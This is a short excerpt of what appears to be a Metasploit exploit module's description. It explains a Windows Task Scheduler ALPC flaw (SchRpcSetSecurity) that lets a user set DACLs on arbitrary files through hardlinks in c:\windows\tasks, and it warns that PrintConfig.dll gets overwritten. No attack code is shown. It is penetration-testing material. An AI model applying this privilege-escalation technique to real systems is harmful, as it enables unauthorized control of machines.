        'Description' => %q{
          On vulnerable versions of Windows the alpc endpoint method SchRpcSetSecurity implemented
          by the task scheduler service can be used to write arbitrary DACLs to `.job` files located
          in `c:\windows\tasks` because the scheduler does not use impersonation when checking this
          location. Since users can create files in the `c:\windows\tasks` folder, a hardlink can be
          created to a file the user has read access to. After creating a hardlink, the vulnerability
          can be triggered to set the DACL on the linked file.

          WARNING:
          The PrintConfig.dll (%windir%\system32\driverstor\filerepository\prnms003*) on the target host
          will be overwritten when the exploit runs.

          This module has been tested against Windows 10 Pro x64.
